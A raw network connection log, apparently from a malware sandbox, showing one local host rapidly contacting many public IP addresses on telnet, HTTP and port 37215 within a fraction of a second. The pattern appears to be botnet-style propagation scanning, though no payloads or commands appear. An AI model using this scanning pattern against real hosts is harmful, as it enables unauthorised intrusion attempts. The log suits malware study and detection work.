Jun 10, 2024 15:37:59.758224964 CEST	23	58844	13.140.175.29	192.168.2.13
Jun 10, 2024 15:37:59.758232117 CEST	43434	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.758241892 CEST	43434	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.758261919 CEST	58844	23	192.168.2.13	13.140.175.29
Jun 10, 2024 15:37:59.758624077 CEST	80	58648	50.13.193.163	192.168.2.13
Jun 10, 2024 15:37:59.759071112 CEST	45834	23	192.168.2.13	51.148.234.23
Jun 10, 2024 15:37:59.759193897 CEST	60256	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.759296894 CEST	43790	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.759565115 CEST	37215	34932	197.9.107.34	192.168.2.13
Jun 10, 2024 15:37:59.759612083 CEST	34932	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.759655952 CEST	80	59002	50.13.193.163	192.168.2.13
Jun 10, 2024 15:37:59.759702921 CEST	59002	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.759947062 CEST	23	50418	69.167.90.241	192.168.2.13
Jun 10, 2024 15:37:59.759985924 CEST	50418	23	192.168.2.13	69.167.90.241
Jun 10, 2024 15:37:59.760581017 CEST	35872	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.760597944 CEST	35872	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.760869026 CEST	80	53434	70.156.171.43	192.168.2.13
Jun 10, 2024 15:37:59.761327982 CEST	39708	23	192.168.2.13	68.155.180.148
Jun 10, 2024 15:37:59.761564016 CEST	45156	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.761652946 CEST	36226	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.761838913 CEST	37215	60878	41.140.184.247	192.168.2.13
Jun 10, 2024 15:37:59.761868000 CEST	80	53788	70.156.171.43	192.168.2.13
Jun 10, 2024 15:37:59.761882067 CEST	60878	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.761913061 CEST	53788	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.762033939 CEST	23	40608	81.151.185.7	192.168.2.13
Jun 10, 2024 15:37:59.762075901 CEST	40608	23	192.168.2.13	81.151.185.7
Jun 10, 2024 15:37:59.762944937 CEST	50134	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.762959003 CEST	50134	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.763139963 CEST	43756	23	192.168.2.13	175.241.195.149
Jun 10, 2024 15:37:59.763154030 CEST	80	43434	57.244.132.164	192.168.2.13
Jun 10, 2024 15:37:59.763881922 CEST	35362	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.763942003 CEST	23	45834	51.148.234.23	192.168.2.13
Jun 10, 2024 15:37:59.763966084 CEST	50488	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.763981104 CEST	45834	23	192.168.2.13	51.148.234.23
Jun 10, 2024 15:37:59.764039040 CEST	37215	60256	41.204.133.93	192.168.2.13
Jun 10, 2024 15:37:59.764085054 CEST	60256	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.764137983 CEST	80	43790	57.244.132.164	192.168.2.13
Jun 10, 2024 15:37:59.764180899 CEST	43790	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.765228987 CEST	45956	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.765245914 CEST	45956	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.765343904 CEST	54356	23	192.168.2.13	137.246.157.211
Jun 10, 2024 15:37:59.765424013 CEST	80	35872	194.55.24.22	192.168.2.13
Jun 10, 2024 15:37:59.766170025 CEST	35420	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.766242981 CEST	23	39708	68.155.180.148	192.168.2.13
Jun 10, 2024 15:37:59.766252041 CEST	46310	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.766285896 CEST	39708	23	192.168.2.13	68.155.180.148
Jun 10, 2024 15:37:59.766500950 CEST	37215	45156	197.37.79.4	192.168.2.13
Jun 10, 2024 15:37:59.766530037 CEST	80	36226	194.55.24.22	192.168.2.13
Jun 10, 2024 15:37:59.766547918 CEST	45156	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.766572952 CEST	36226	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.767194986 CEST	46480	23	192.168.2.13	101.140.61.30
Jun 10, 2024 15:37:59.767523050 CEST	60126	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.767523050 CEST	60126	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.767829895 CEST	80	50134	102.230.19.253	192.168.2.13
Jun 10, 2024 15:37:59.768033028 CEST	23	43756	175.241.195.149	192.168.2.13
Jun 10, 2024 15:37:59.768075943 CEST	43756	23	192.168.2.13	175.241.195.149
Jun 10, 2024 15:37:59.768487930 CEST	41120	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.768589020 CEST	60480	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.768820047 CEST	37215	35362	41.117.93.142	192.168.2.13
Jun 10, 2024 15:37:59.768872023 CEST	35362	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.768872023 CEST	80	50488	102.230.19.253	192.168.2.13
Jun 10, 2024 15:37:59.768918037 CEST	50488	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.769413948 CEST	40824	23	192.168.2.13	210.61.135.33
Jun 10, 2024 15:37:59.769857883 CEST	39338	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.769857883 CEST	39338	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.770112038 CEST	80	45956	20.2.48.78	192.168.2.13
Jun 10, 2024 15:37:59.770298958 CEST	23	54356	137.246.157.211	192.168.2.13
Jun 10, 2024 15:37:59.770344019 CEST	54356	23	192.168.2.13	137.246.157.211
Jun 10, 2024 15:37:59.770808935 CEST	60620	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.770906925 CEST	39692	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.771131992 CEST	37215	35420	197.64.121.194	192.168.2.13
Jun 10, 2024 15:37:59.771183014 CEST	80	46310	20.2.48.78	192.168.2.13
Jun 10, 2024 15:37:59.771187067 CEST	35420	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.771230936 CEST	46310	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.771230936 CEST	55808	23	192.168.2.13	66.78.100.75
Jun 10, 2024 15:37:59.772099972 CEST	23	46480	101.140.61.30	192.168.2.13
Jun 10, 2024 15:37:59.772141933 CEST	46480	23	192.168.2.13	101.140.61.30
Jun 10, 2024 15:37:59.772200108 CEST	49156	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.772200108 CEST	49156	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.772519112 CEST	80	60126	88.157.63.21	192.168.2.13
Jun 10, 2024 15:37:59.773158073 CEST	44048	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.773267031 CEST	49510	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.773471117 CEST	51570	23	192.168.2.13	63.172.158.231
Jun 10, 2024 15:37:59.773488998 CEST	37215	41120	41.186.239.153	192.168.2.13
Jun 10, 2024 15:37:59.773529053 CEST	41120	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.773539066 CEST	80	60480	88.157.63.21	192.168.2.13
Jun 10, 2024 15:37:59.773580074 CEST	60480	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.774279118 CEST	23	40824	210.61.135.33	192.168.2.13
Jun 10, 2024 15:37:59.774333954 CEST	40824	23	192.168.2.13	210.61.135.33
Jun 10, 2024 15:37:59.774509907 CEST	54128	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.774524927 CEST	54128	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.774749994 CEST	80	39338	193.5.227.125	192.168.2.13
Jun 10, 2024 15:37:59.775340080 CEST	52522	23	192.168.2.13	121.35.12.55
Jun 10, 2024 15:37:59.775451899 CEST	52668	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.775554895 CEST	54484	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.775644064 CEST	37215	60620	41.144.136.243	192.168.2.13
Jun 10, 2024 15:37:59.775686026 CEST	60620	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.775760889 CEST	80	39692	193.5.227.125	192.168.2.13
Jun 10, 2024 15:37:59.775803089 CEST	39692	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.776187897 CEST	23	55808	66.78.100.75	192.168.2.13
Jun 10, 2024 15:37:59.776232958 CEST	55808	23	192.168.2.13	66.78.100.75
Jun 10, 2024 15:37:59.776818037 CEST	59898	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.776818991 CEST	59898	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.777065039 CEST	80	49156	181.171.108.67	192.168.2.13
Jun 10, 2024 15:37:59.777515888 CEST	40492	23	192.168.2.13	193.201.9.72
Jun 10, 2024 15:37:59.777749062 CEST	57818	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.777836084 CEST	60254	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.778110981 CEST	37215	44048	197.255.246.136	192.168.2.13
Jun 10, 2024 15:37:59.778166056 CEST	44048	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.778176069 CEST	80	49510	181.171.108.67	192.168.2.13
Jun 10, 2024 15:37:59.778219938 CEST	49510	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.778393030 CEST	23	51570	63.172.158.231	192.168.2.13
Jun 10, 2024 15:37:59.778438091 CEST	51570	23	192.168.2.13	63.172.158.231
Jun 10, 2024 15:37:59.779103994 CEST	59220	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.779138088 CEST	59220	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.779304981 CEST	56372	23	192.168.2.13	210.25.137.32
Jun 10, 2024 15:37:59.779385090 CEST	80	54128	115.56.153.54	192.168.2.13
Jun 10, 2024 15:37:59.780011892 CEST	53016	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.780109882 CEST	59576	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.780262947 CEST	23	52522	121.35.12.55	192.168.2.13
Jun 10, 2024 15:37:59.780313015 CEST	52522	23	192.168.2.13	121.35.12.55
Jun 10, 2024 15:37:59.780313969 CEST	37215	52668	156.197.209.223	192.168.2.13
Jun 10, 2024 15:37:59.780354977 CEST	52668	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.780420065 CEST	80	54484	115.56.153.54	192.168.2.13
Jun 10, 2024 15:37:59.780469894 CEST	54484	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.781383991 CEST	37506	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.781383991 CEST	37506	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.781477928 CEST	51098	23	192.168.2.13	46.243.129.164
Jun 10, 2024 15:37:59.781739950 CEST	80	59898	213.227.25.210	192.168.2.13
Jun 10, 2024 15:37:59.782288074 CEST	57044	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.782407999 CEST	37862	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.782485008 CEST	23	40492	193.201.9.72	192.168.2.13
Jun 10, 2024 15:37:59.782531977 CEST	40492	23	192.168.2.13	193.201.9.72
Jun 10, 2024 15:37:59.782605886 CEST	37215	57818	156.159.10.140	192.168.2.13
Jun 10, 2024 15:37:59.782655954 CEST	57818	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.782741070 CEST	80	60254	213.227.25.210	192.168.2.13
Jun 10, 2024 15:37:59.782777071 CEST	60254	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.783325911 CEST	33586	23	192.168.2.13	180.53.80.121
Jun 10, 2024 15:37:59.783783913 CEST	39218	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.783803940 CEST	39218	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.784213066 CEST	80	59220	32.111.100.187	192.168.2.13
Jun 10, 2024 15:37:59.784262896 CEST	23	56372	210.25.137.32	192.168.2.13
Jun 10, 2024 15:37:59.784311056 CEST	56372	23	192.168.2.13	210.25.137.32
Jun 10, 2024 15:37:59.784755945 CEST	37842	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.784851074 CEST	39576	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.784966946 CEST	37215	53016	156.32.124.85	192.168.2.13
Jun 10, 2024 15:37:59.785010099 CEST	53016	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.785034895 CEST	80	59576	32.111.100.187	192.168.2.13
Jun 10, 2024 15:37:59.785090923 CEST	59576	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.785589933 CEST	44868	23	192.168.2.13	147.160.137.115
Jun 10, 2024 15:37:59.786107063 CEST	40246	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.786107063 CEST	40246	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.786336899 CEST	80	37506	115.165.178.143	192.168.2.13
Jun 10, 2024 15:37:59.786469936 CEST	23	51098	46.243.129.164	192.168.2.13
Jun 10, 2024 15:37:59.786509037 CEST	51098	23	192.168.2.13	46.243.129.164
Jun 10, 2024 15:37:59.787074089 CEST	51130	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.787153959 CEST	40604	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.787203074 CEST	37215	57044	156.218.214.250	192.168.2.13
Jun 10, 2024 15:37:59.787250042 CEST	57044	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.787269115 CEST	80	37862	115.165.178.143	192.168.2.13
Jun 10, 2024 15:37:59.787309885 CEST	37862	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.787487030 CEST	55552	23	192.168.2.13	142.123.119.101
Jun 10, 2024 15:37:59.788264990 CEST	23	33586	180.53.80.121	192.168.2.13
Jun 10, 2024 15:37:59.788322926 CEST	33586	23	192.168.2.13	180.53.80.121
Jun 10, 2024 15:37:59.788491011 CEST	46042	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.788501978 CEST	46042	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.788691998 CEST	80	39218	9.203.151.161	192.168.2.13
Jun 10, 2024 15:37:59.789570093 CEST	58502	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.789649010 CEST	46400	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.789659023 CEST	37215	37842	41.209.100.187	192.168.2.13
Jun 10, 2024 15:37:59.789704084 CEST	37842	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.789843082 CEST	80	39576	9.203.151.161	192.168.2.13
Jun 10, 2024 15:37:59.789863110 CEST	51382	23	192.168.2.13	219.181.2.23
Jun 10, 2024 15:37:59.789886951 CEST	39576	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.790502071 CEST	23	44868	147.160.137.115	192.168.2.13
Jun 10, 2024 15:37:59.790556908 CEST	44868	23	192.168.2.13	147.160.137.115
Jun 10, 2024 15:37:59.790905952 CEST	41002	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.790905952 CEST	41002	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.791001081 CEST	80	40246	96.121.230.115	192.168.2.13
Jun 10, 2024 15:37:59.791704893 CEST	60974	23	192.168.2.13	200.53.128.206
Jun 10, 2024 15:37:59.791826010 CEST	37196	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.791914940 CEST	41360	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.791990995 CEST	37215	51130	41.109.81.128	192.168.2.13
Jun 10, 2024 15:37:59.792032003 CEST	51130	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.792238951 CEST	80	40604	96.121.230.115	192.168.2.13
Jun 10, 2024 15:37:59.792284012 CEST	40604	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.792347908 CEST	23	55552	142.123.119.101	192.168.2.13
Jun 10, 2024 15:37:59.792391062 CEST	55552	23	192.168.2.13	142.123.119.101
Jun 10, 2024 15:37:59.793176889 CEST	52842	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.793176889 CEST	52842	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.793375969 CEST	80	46042	31.24.128.114	192.168.2.13
Jun 10, 2024 15:37:59.793875933 CEST	56902	23	192.168.2.13	94.9.59.175
Jun 10, 2024 15:37:59.794100046 CEST	52860	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.794195890 CEST	53200	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.794548988 CEST	37215	58502	197.156.129.89	192.168.2.13
Jun 10, 2024 15:37:59.794596910 CEST	58502	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.794599056 CEST	80	46400	31.24.128.114	192.168.2.13
Jun 10, 2024 15:37:59.794631958 CEST	80	32824	70.109.71.255	192.168.2.13
Jun 10, 2024 15:37:59.794640064 CEST	46400	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.794682026 CEST	80	37862	203.54.242.166	192.168.2.13
Jun 10, 2024 15:37:59.794771910 CEST	23	51382	219.181.2.23	192.168.2.13
Jun 10, 2024 15:37:59.794816017 CEST	51382	23	192.168.2.13	219.181.2.23
Jun 10, 2024 15:37:59.795427084 CEST	37488	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.795427084 CEST	37488	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.795610905 CEST	45900	23	192.168.2.13	199.226.110.185
Jun 10, 2024 15:37:59.795761108 CEST	80	41002	173.150.225.180	192.168.2.13
Jun 10, 2024 15:37:59.796327114 CEST	49128	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.796418905 CEST	37846	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.796555996 CEST	23	60974	200.53.128.206	192.168.2.13
Jun 10, 2024 15:37:59.796602011 CEST	60974	23	192.168.2.13	200.53.128.206
Jun 10, 2024 15:37:59.796680927 CEST	37215	37196	41.89.132.28	192.168.2.13
Jun 10, 2024 15:37:59.796725035 CEST	37196	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.796739101 CEST	80	41360	173.150.225.180	192.168.2.13
Jun 10, 2024 15:37:59.796782017 CEST	41360	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.797691107 CEST	39842	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.797691107 CEST	39842	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.797779083 CEST	58032	23	192.168.2.13	43.44.29.202
Jun 10, 2024 15:37:59.798038960 CEST	80	52842	181.232.47.252	192.168.2.13
Jun 10, 2024 15:37:59.798588037 CEST	33394	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.798616886 CEST	80	35674	151.218.172.48	192.168.2.13
Jun 10, 2024 15:37:59.798687935 CEST	40200	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.798736095 CEST	23	56902	94.9.59.175	192.168.2.13
Jun 10, 2024 15:37:59.798777103 CEST	56902	23	192.168.2.13	94.9.59.175
Jun 10, 2024 15:37:59.799058914 CEST	37215	52860	156.29.235.89	192.168.2.13
Jun 10, 2024 15:37:59.799098969 CEST	52860	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.799110889 CEST	80	53200	181.232.47.252	192.168.2.13
Jun 10, 2024 15:37:59.799160004 CEST	53200	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.799686909 CEST	47846	23	192.168.2.13	99.89.233.159
Jun 10, 2024 15:37:59.799999952 CEST	42016	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.799999952 CEST	42016	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.800333023 CEST	80	37488	86.102.128.211	192.168.2.13
Jun 10, 2024 15:37:59.800539017 CEST	23	45900	199.226.110.185	192.168.2.13
Jun 10, 2024 15:37:59.800579071 CEST	45900	23	192.168.2.13	199.226.110.185
Jun 10, 2024 15:37:59.800921917 CEST	53342	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.801139116 CEST	42374	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.801217079 CEST	37215	49128	156.165.201.247	192.168.2.13
Jun 10, 2024 15:37:59.801265955 CEST	49128	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.801266909 CEST	80	37846	86.102.128.211	192.168.2.13
Jun 10, 2024 15:37:59.801305056 CEST	37846	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.801846981 CEST	56028	23	192.168.2.13	90.140.146.124
Jun 10, 2024 15:37:59.802263021 CEST	47840	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.802263021 CEST	47840	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.802546024 CEST	80	39842	13.159.171.238	192.168.2.13
Jun 10, 2024 15:37:59.802597046 CEST	80	53434	70.156.171.43	192.168.2.13
Jun 10, 2024 15:37:59.802628994 CEST	80	58648	50.13.193.163	192.168.2.13
Jun 10, 2024 15:37:59.802752972 CEST	23	58032	43.44.29.202	192.168.2.13
Jun 10, 2024 15:37:59.802794933 CEST	58032	23	192.168.2.13	43.44.29.202
Jun 10, 2024 15:37:59.803174019 CEST	39806	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.803272009 CEST	48198	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.803474903 CEST	37215	33394	156.168.136.24	192.168.2.13
Jun 10, 2024 15:37:59.803515911 CEST	33394	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.803560019 CEST	58030	23	192.168.2.13	94.209.92.63
Jun 10, 2024 15:37:59.803740025 CEST	80	40200	13.159.171.238	192.168.2.13
Jun 10, 2024 15:37:59.803775072 CEST	40200	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.804503918 CEST	35958	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.804503918 CEST	35958	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.804621935 CEST	23	47846	99.89.233.159	192.168.2.13
Jun 10, 2024 15:37:59.804666996 CEST	47846	23	192.168.2.13	99.89.233.159
Jun 10, 2024 15:37:59.804841995 CEST	80	42016	195.50.200.227	192.168.2.13
Jun 10, 2024 15:37:59.805430889 CEST	58564	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:37:59.805524111 CEST	36316	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.805727005 CEST	47634	23	192.168.2.13	187.166.197.228
Jun 10, 2024 15:37:59.805871010 CEST	37215	53342	197.218.247.171	192.168.2.13
Jun 10, 2024 15:37:59.805918932 CEST	53342	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.806176901 CEST	80	42374	195.50.200.227	192.168.2.13
Jun 10, 2024 15:37:59.806226015 CEST	42374	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.806757927 CEST	40556	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.806759119 CEST	40556	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.806813955 CEST	80	35872	194.55.24.22	192.168.2.13
Jun 10, 2024 15:37:59.806843042 CEST	80	43434	57.244.132.164	192.168.2.13
Jun 10, 2024 15:37:59.806875944 CEST	23	56028	90.140.146.124	192.168.2.13
Jun 10, 2024 15:37:59.806927919 CEST	56028	23	192.168.2.13	90.140.146.124
Jun 10, 2024 15:37:59.807151079 CEST	80	47840	99.27.23.33	192.168.2.13
Jun 10, 2024 15:37:59.807590961 CEST	37592	23	192.168.2.13	1.225.63.72
Jun 10, 2024 15:37:59.807703972 CEST	60446	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:37:59.807796001 CEST	40914	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.808038950 CEST	37215	39806	197.99.205.156	192.168.2.13
Jun 10, 2024 15:37:59.808084965 CEST	39806	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.808126926 CEST	80	48198	99.27.23.33	192.168.2.13
Jun 10, 2024 15:37:59.808176041 CEST	48198	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.808384895 CEST	23	58030	94.209.92.63	192.168.2.13
Jun 10, 2024 15:37:59.808423996 CEST	58030	23	192.168.2.13	94.209.92.63
Jun 10, 2024 15:37:59.809083939 CEST	35328	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.809083939 CEST	35328	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.809356928 CEST	80	35958	158.214.75.80	192.168.2.13
Jun 10, 2024 15:37:59.809777975 CEST	42216	23	192.168.2.13	9.251.204.255
Jun 10, 2024 15:37:59.809992075 CEST	38538	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:37:59.810103893 CEST	35686	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.810291052 CEST	37215	58564	156.245.2.205	192.168.2.13
Jun 10, 2024 15:37:59.810342073 CEST	58564	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:37:59.810364008 CEST	80	36316	158.214.75.80	192.168.2.13
Jun 10, 2024 15:37:59.810405970 CEST	36316	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.810641050 CEST	23	47634	187.166.197.228	192.168.2.13
Jun 10, 2024 15:37:59.810668945 CEST	80	45956	20.2.48.78	192.168.2.13
Jun 10, 2024 15:37:59.810678959 CEST	47634	23	192.168.2.13	187.166.197.228
Jun 10, 2024 15:37:59.810698032 CEST	80	50134	102.230.19.253	192.168.2.13
Jun 10, 2024 15:37:59.811338902 CEST	54380	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.811338902 CEST	54380	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.811532974 CEST	58652	23	192.168.2.13	92.251.195.242
Jun 10, 2024 15:37:59.811798096 CEST	80	40556	84.162.2.5	192.168.2.13
Jun 10, 2024 15:37:59.812227011 CEST	42556	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:37:59.812323093 CEST	54738	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.812597990 CEST	23	37592	1.225.63.72	192.168.2.13
Jun 10, 2024 15:37:59.812639952 CEST	37592	23	192.168.2.13	1.225.63.72
Jun 10, 2024 15:37:59.812649965 CEST	37215	60446	197.226.229.29	192.168.2.13
Jun 10, 2024 15:37:59.812690973 CEST	60446	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:37:59.812743902 CEST	80	40914	84.162.2.5	192.168.2.13
Jun 10, 2024 15:37:59.812781096 CEST	40914	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.813572884 CEST	55620	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.813572884 CEST	55620	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.813674927 CEST	60370	23	192.168.2.13	95.26.230.125
Jun 10, 2024 15:37:59.813932896 CEST	80	35328	51.33.7.198	192.168.2.13
Jun 10, 2024 15:37:59.814483881 CEST	59662	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:37:59.814577103 CEST	55978	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.814635992 CEST	80	60126	88.157.63.21	192.168.2.13
Jun 10, 2024 15:37:59.814666986 CEST	23	42216	9.251.204.255	192.168.2.13
Jun 10, 2024 15:37:59.814707994 CEST	42216	23	192.168.2.13	9.251.204.255
Jun 10, 2024 15:37:59.814836979 CEST	37215	38538	41.179.145.152	192.168.2.13
Jun 10, 2024 15:37:59.814878941 CEST	38538	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:37:59.814941883 CEST	80	35686	51.33.7.198	192.168.2.13
Jun 10, 2024 15:37:59.814994097 CEST	35686	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.815514088 CEST	49764	23	192.168.2.13	95.99.108.48
Jun 10, 2024 15:37:59.815834999 CEST	53776	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.815834999 CEST	53776	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.816203117 CEST	80	54380	167.251.162.140	192.168.2.13
Jun 10, 2024 15:37:59.816643000 CEST	23	58652	92.251.195.242	192.168.2.13
Jun 10, 2024 15:37:59.816698074 CEST	58652	23	192.168.2.13	92.251.195.242
Jun 10, 2024 15:37:59.816808939 CEST	37368	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:37:59.816907883 CEST	54134	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.817130089 CEST	37215	42556	41.195.163.183	192.168.2.13
Jun 10, 2024 15:37:59.817158937 CEST	80	54738	167.251.162.140	192.168.2.13
